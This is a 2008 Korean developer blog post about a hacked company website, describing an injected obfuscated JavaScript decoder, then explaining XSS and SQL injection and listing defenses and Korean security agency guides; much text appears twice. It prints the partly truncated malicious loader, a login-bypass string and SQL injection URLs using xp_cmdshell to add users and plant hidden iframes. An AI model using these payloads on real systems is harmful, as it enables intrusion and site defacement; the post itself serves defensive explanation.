해킹 공격 당하다~ 방어 대책!!!
2008. 5. 17. 16:53ㆍ하루에하나씩/트렌드, 기초 IT 정보
친구들과 술을 먹다가 회사에서 문제 생겼다구 저녁이나 새벽에 전화오는게 젤 짱나!!!!! @.@
어제는 회사에서 국정원에서 전화 왔었다구 하던데...설마~ 무슨일루~~~
아마두 한국정보보호진흥원에서 연락이 온것 같은데...
특정 js파일내에 썩을 넘의 쒜끼들이 이상한 스크립트를 삽입해 넣었다.
위에 소스를 분석을 해보니...
첫번째 javascript 상에서는 realplayer을 실행 시키는 코드가 삽입되어 있었다.
Netmeeting 안에 있는 wav 파일을 실행하도록~~~ @.@
두번째 vbscript 에서는 Microsoft.XMLHTTP , Shell.Application , Scripting.FileSystem ,Adodb.Stream
등을 이용해서 외부에서 내부 파일 및 폴더 구성을 파악후에 침투해서 백도어 나 악성 프로그램을 설치하려고 하는 부분이 왜 이따구 공격을 하느냔 말이다.
가장 중요한건.. 이 script를 어떻게 넣을수 있었던 방법은 URL상의 파라미터에 값을 변조 해서 IFRAME 을 이용한 크로스 사이트 스크립트(XSS)을 이용한 공격이였을 가능성이 높았다, 서버 아이디/비번이 노출되어서 실제 FTP를 통해서 들어온건 아니였구,
암튼 이젠 페이지 제작할때 파라미터 처리에 대해 무조껀!! 신중을 다 해야 할것 같다.
대충만들었다가 피해가 이만 저만이 아닐듯 싶다.
사실 기본적인 것만 지켜준다면 크게 당할것이 없다.
하지만 귀차니즘때문에... 에이~ 설마 ... 라는 부분이 가장 큰것 같다.
꼼꼼하게 개발한다면.. 이와 같은 일이 없겠지
몇가지 추가적으로 정보를 찾아 봤다.
1. Cross Site Scripting 이란?
XSS 는 웹 애플리케이션에서 입력되는 데이터를 적절하게 검사하지 않아 클라이언트의 스크립트나 HTML 태그의 사용이 가능하게 되는데 이것은 의도적으로 악의적인 형태의 공격으로까지 이어질 수 있다.
XSS는 많은 웹 애플리케이션에 그 문제가 존재하고 있으며,버퍼오버플로우(Buffer Overflow)와 같이 직접적으로 시스템의 권한을 획득하는 것은 아니지만 간접적 또는 다양한 형태로 악용될 우려가 높다.
공격자는 HTML, JavaScript, VBScript, ActiveX 또는 Flash를 이용하여 취약한 웹 애플리케이션을 통한 사용자 정보의 수집, 사용자 계정의 탈취, 정보의 변경, 쿠키 정보 획득/변조, 부정확한 정보제공등 악용 가능한 범위가 넓다.
2005년10월4일 XSS를 이용한 첫 웜 사례 보고(‘Samy’)
- CSS(Cascading StyleSheet)태그안에서 자바스크립트사용 가능한 것을 발견
- Myspace.com 의 백만명이넘는 사람들이 본인의 의지와는상관없이 친구추가 요청
- 사이트는 일시적 서비스 장애 겪음, DoS 가능성을 보여주었음
2. SQL Injection란
입력되는 데이터의 적절한 확인 없이 전달되는 데이터를 데이터베이스에서 명령어로 처리하는 것
공격자는 다음과 같이 악용가능
- SELECT, INSERT, DELETE 그리고 DROP TABLE 과 같은 SQL 명령어 수행 가능
- 확장 프로시저를 통한 임의의 명령어 수행 가능
예전에 아이디 , 비밀번호 입력하는 곳에다가 ' or ''=' 이라고 입력을 하면, 로그인이 되는 곳이 수도없이 많았다. 이건 약과다~~ 사실 이곳에다가 shutdown 이나 delete 형태로 Query를 입력하면.. 으아~~
SQL 인젝션 공격의 예
- http://www.none.to/script?0';EXEC+master..xp_cmdshell(cmd.exe+/c)
- http://victim/url.asp?id=1;exec master..xp_cmdshell “net user namepassword /add”--
- http://victim/url.asp?id=1;exec master..xp_cmdshell ‘echo <ifrmae src=http://www.target.com/icyfox.htm width=“0” height=“0”></iframe> >> c:\inetpub\www\index.html’;
3. 막아보자~~~~
1. 파라미터 처리 부분에 대한 처리 (입력값에 대한 검증을 철저히 하라는 것이다.)
이것만 해두... 여러가지 공격에 대해서 방어가 된다.
데이터 베이스와 연동하는 스크립트의 모든 파라미터를 점검하고 사용자 입력이 SQL Injection 을 발생시키지
않도록 특수 parameter (/, --, +,spage, ; 등)이 허용되지 않는 문자열 에 대해서 에러 처리를 하도록 한다.
데이터 타입 (string, integer 등), 허용하는 문자, 최소, 최대 문자열 길이, 널(Null) 허용 유무, 파라미터가 필요
유무, 중복을 허용하는가, 숫자의 범위, 특정 패턴(정규표현식)
2. 부적절한 패스워드 사용 및 기본 계정 사용 (서버에 치명적이다)
ex) admin/admin, manager/manger, system/system, admin/djemals, root/root
3. 관리자/개인용 페이지 접근 제한 노출
4. 검색엔진을 통해 3분여 동안 찾을 수 있었던 사이트는 ?
5. /admin , /manage, 관리자, 관리자 모드 등의 단순 검색어 이용
6. .bak, .log, .inc 등
7. IIS 내부 설정중에 응용프로그램 실행 권한 주의 , Apache에는 필요한 모듈만 사용될 수 있도록 모듈의 설치를 최소화 하고 필요한 모듈만 로드한다
8. SQL 서버의 에러메세지를 사용자에게 보여주지 않도록 설정한다.
9. 불필요한 Stored Procedure 제거
ex) xp_cmdshell, xp_dirtree, xp_regdeletekey, xp_regwrite, sp_adduser ...
4. 참고하세요~~~
공개웹방화벽(WebKnight 및 ModSecurity) 다운로드, 설치 운영 가이드, FAQ등의 정보 제공
- http://www.krcert.or.kr/firewall/index.htm
※ 무료 웹취약점 점검을 신청
(정보보호 인력이 부족한 중소기업 또는 소규모 비영리 단체를 대상으로 서비스 제공)
- 무료 홈페이지 취약점 점검서비스 신청하러가기
- http://webcheck.krcert.or.kr
※ 아래의 문서를 참조하여 해킹에 대응하시기 바랍니다.
o 홈페이지 개발 보안 가이드
- http://www.kisa.or.kr/trace_log/homepage_guide_down.jsp
o 웹 보안 4종 가이드
- http://www.kisa.or.kr/kisa/notics/popup/2008/popup_200801_websecureguide.html
o 침해사고 분석절차 가이드
- http://www.krcert.or.kr/docDown.jsp?dn=10
o 아파치 그룹에서 제공하는 가이드
- http://www.apache-kr.org/material/seminar/SCA_WebHacking_Conference.pdf
어제는 회사에서 국정원에서 전화 왔었다구 하던데...설마~ 무슨일루~~~
아마두 한국정보보호진흥원에서 연락이 온것 같은데...
특정 js파일내에 썩을 넘의 쒜끼들이 이상한 스크립트를 삽입해 넣었다.
var HtmlStrings=["=Tdsjqu!mbohvbhf>#kbwbtdsjqu#> gvodujpo!....중간생략...-3 T/dmptf cj1>#Tif","# cj2>#mm/Bqq# cj3>#mjdbu# cj4>#jpo# cj>cj1,cj2,cj3,>"];
function psw(st){
var varS;
varS="";
var i;
for(var a=0;a<st.length;a++){
i = st.charCodeAt(a);
if (i==1)
varS=varS+String.fromCharCode('"'.charCodeAt()-1);
else if (i==2) {
a++;
varS+=String.fromCharCode(st.charCodeAt(a));
}
else
varS+=String.fromCharCode(i-1);
}
return varS;
};
var num=71;
function S(){
for(i=0;i<num;i++)
document.write(psw(HtmlStrings[i]));}
S();
function psw(st){
var varS;
varS="";
var i;
for(var a=0;a<st.length;a++){
i = st.charCodeAt(a);
if (i==1)
varS=varS+String.fromCharCode('"'.charCodeAt()-1);
else if (i==2) {
a++;
varS+=String.fromCharCode(st.charCodeAt(a));
}
else
varS+=String.fromCharCode(i-1);
}
return varS;
};
var num=71;
function S(){
for(i=0;i<num;i++)
document.write(psw(HtmlStrings[i]));}
S();
위에 소스를 분석을 해보니...
첫번째 javascript 상에서는 realplayer을 실행 시키는 코드가 삽입되어 있었다.
Netmeeting 안에 있는 wav 파일을 실행하도록~~~ @.@
두번째 vbscript 에서는 Microsoft.XMLHTTP , Shell.Application , Scripting.FileSystem ,Adodb.Stream
등을 이용해서 외부에서 내부 파일 및 폴더 구성을 파악후에 침투해서 백도어 나 악성 프로그램을 설치하려고 하는 부분이 왜 이따구 공격을 하느냔 말이다.
가장 중요한건.. 이 script를 어떻게 넣을수 있었던 방법은 URL상의 파라미터에 값을 변조 해서 IFRAME 을 이용한 크로스 사이트 스크립트(XSS)을 이용한 공격이였을 가능성이 높았다, 서버 아이디/비번이 노출되어서 실제 FTP를 통해서 들어온건 아니였구,
암튼 이젠 페이지 제작할때 파라미터 처리에 대해 무조껀!! 신중을 다 해야 할것 같다.
대충만들었다가 피해가 이만 저만이 아닐듯 싶다.
사실 기본적인 것만 지켜준다면 크게 당할것이 없다.
하지만 귀차니즘때문에... 에이~ 설마 ... 라는 부분이 가장 큰것 같다.
꼼꼼하게 개발한다면.. 이와 같은 일이 없겠지
몇가지 추가적으로 정보를 찾아 봤다.
1. Cross Site Scripting 이란?
XSS 는 웹 애플리케이션에서 입력되는 데이터를 적절하게 검사하지 않아 클라이언트의 스크립트나 HTML 태그의 사용이 가능하게 되는데 이것은 의도적으로 악의적인 형태의 공격으로까지 이어질 수 있다.
XSS는 많은 웹 애플리케이션에 그 문제가 존재하고 있으며,버퍼오버플로우(Buffer Overflow)와 같이 직접적으로 시스템의 권한을 획득하는 것은 아니지만 간접적 또는 다양한 형태로 악용될 우려가 높다.
공격자는 HTML, JavaScript, VBScript, ActiveX 또는 Flash를 이용하여 취약한 웹 애플리케이션을 통한 사용자 정보의 수집, 사용자 계정의 탈취, 정보의 변경, 쿠키 정보 획득/변조, 부정확한 정보제공등 악용 가능한 범위가 넓다.
2005년10월4일 XSS를 이용한 첫 웜 사례 보고(‘Samy’)
- CSS(Cascading StyleSheet)태그안에서 자바스크립트사용 가능한 것을 발견
- Myspace.com 의 백만명이넘는 사람들이 본인의 의지와는상관없이 친구추가 요청
- 사이트는 일시적 서비스 장애 겪음, DoS 가능성을 보여주었음
2. SQL Injection란
입력되는 데이터의 적절한 확인 없이 전달되는 데이터를 데이터베이스에서 명령어로 처리하는 것
공격자는 다음과 같이 악용가능
- SELECT, INSERT, DELETE 그리고 DROP TABLE 과 같은 SQL 명령어 수행 가능
- 확장 프로시저를 통한 임의의 명령어 수행 가능
예전에 아이디 , 비밀번호 입력하는 곳에다가 ' or ''=' 이라고 입력을 하면, 로그인이 되는 곳이 수도없이 많았다. 이건 약과다~~ 사실 이곳에다가 shutdown 이나 delete 형태로 Query를 입력하면.. 으아~~
SQL 인젝션 공격의 예
- http://www.none.to/script?0';EXEC+master..xp_cmdshell(cmd.exe+/c)
- http://victim/url.asp?id=1;exec master..xp_cmdshell “net user namepassword /add”--
- http://victim/url.asp?id=1;exec master..xp_cmdshell ‘echo <ifrmae src=http://www.target.com/icyfox.htm width=“0” height=“0”></iframe> >> c:\inetpub\www\index.html’;
3. 막아보자~~~~
1. 파라미터 처리 부분에 대한 처리 (입력값에 대한 검증을 철저히 하라는 것이다.)
이것만 해두... 여러가지 공격에 대해서 방어가 된다.
데이터 베이스와 연동하는 스크립트의 모든 파라미터를 점검하고 사용자 입력이 SQL Injection 을 발생시키지
않도록 특수 parameter (/, --, +,spage, ; 등)이 허용되지 않는 문자열 에 대해서 에러 처리를 하도록 한다.
데이터 타입 (string, integer 등), 허용하는 문자, 최소, 최대 문자열 길이, 널(Null) 허용 유무, 파라미터가 필요
유무, 중복을 허용하는가, 숫자의 범위, 특정 패턴(정규표현식)
a = replace(a,"'","''")
a = replace(a,"<","<")
a = replace(a,">",">")
a = replace(a,"""",""")
a = replace(a,"<","<")
a = replace(a,">",">")
a = replace(a,"""",""")
2. 부적절한 패스워드 사용 및 기본 계정 사용 (서버에 치명적이다)
ex) admin/admin, manager/manger, system/system, admin/djemals, root/root
3. 관리자/개인용 페이지 접근 제한 노출
4. 검색엔진을 통해 3분여 동안 찾을 수 있었던 사이트는 ?
5. /admin , /manage, 관리자, 관리자 모드 등의 단순 검색어 이용
6. .bak, .log, .inc 등
7. IIS 내부 설정중에 응용프로그램 실행 권한 주의 , Apache에는 필요한 모듈만 사용될 수 있도록 모듈의 설치를 최소화 하고 필요한 모듈만 로드한다
8. SQL 서버의 에러메세지를 사용자에게 보여주지 않도록 설정한다.
9. 불필요한 Stored Procedure 제거
ex) xp_cmdshell, xp_dirtree, xp_regdeletekey, xp_regwrite, sp_adduser ...
4. 참고하세요~~~
공개웹방화벽(WebKnight 및 ModSecurity) 다운로드, 설치 운영 가이드, FAQ등의 정보 제공
- http://www.krcert.or.kr/firewall/index.htm
※ 무료 웹취약점 점검을 신청
(정보보호 인력이 부족한 중소기업 또는 소규모 비영리 단체를 대상으로 서비스 제공)
- 무료 홈페이지 취약점 점검서비스 신청하러가기
- http://webcheck.krcert.or.kr
※ 아래의 문서를 참조하여 해킹에 대응하시기 바랍니다.
o 홈페이지 개발 보안 가이드
- http://www.kisa.or.kr/trace_log/homepage_guide_down.jsp
o 웹 보안 4종 가이드
- http://www.kisa.or.kr/kisa/notics/popup/2008/popup_200801_websecureguide.html
o 침해사고 분석절차 가이드
- http://www.krcert.or.kr/docDown.jsp?dn=10
o 아파치 그룹에서 제공하는 가이드
- http://www.apache-kr.org/material/seminar/SCA_WebHacking_Conference.pdf
'하루에하나씩 > 트렌드, 기초 IT 정보' 카테고리의 다른 글
앱 , 애플리케이션의 줄임말 아닌가? (0) | 2011.02.22 |
---|---|
WAC 이란... 훌세일 앱 커뮤니티(Wholesale App Community) (0) | 2011.02.22 |
NFC 요건 뭐죠? RFID 같은건가요? (1) | 2011.02.16 |
NAS , 스토리지 서버쪽 이야기 하다보면 자주 나오는데, 이게 뭐죠? (0) | 2011.01.27 |
Quora 와 Qwiki 에 대해서 간략히 ... (0) | 2011.01.25 |
PDF가 뭐야? (0) | 2011.01.20 |
APU가 뭔가? CPU,GPU는 들어 봤는데;; (0) | 2011.01.17 |
클라우드 컴퓨팅 이란? (0) | 2011.01.12 |
N-Screen 이란? (0) | 2011.01.12 |
RESTful 웹서비스란 무언가? (0) | 2008.05.21 |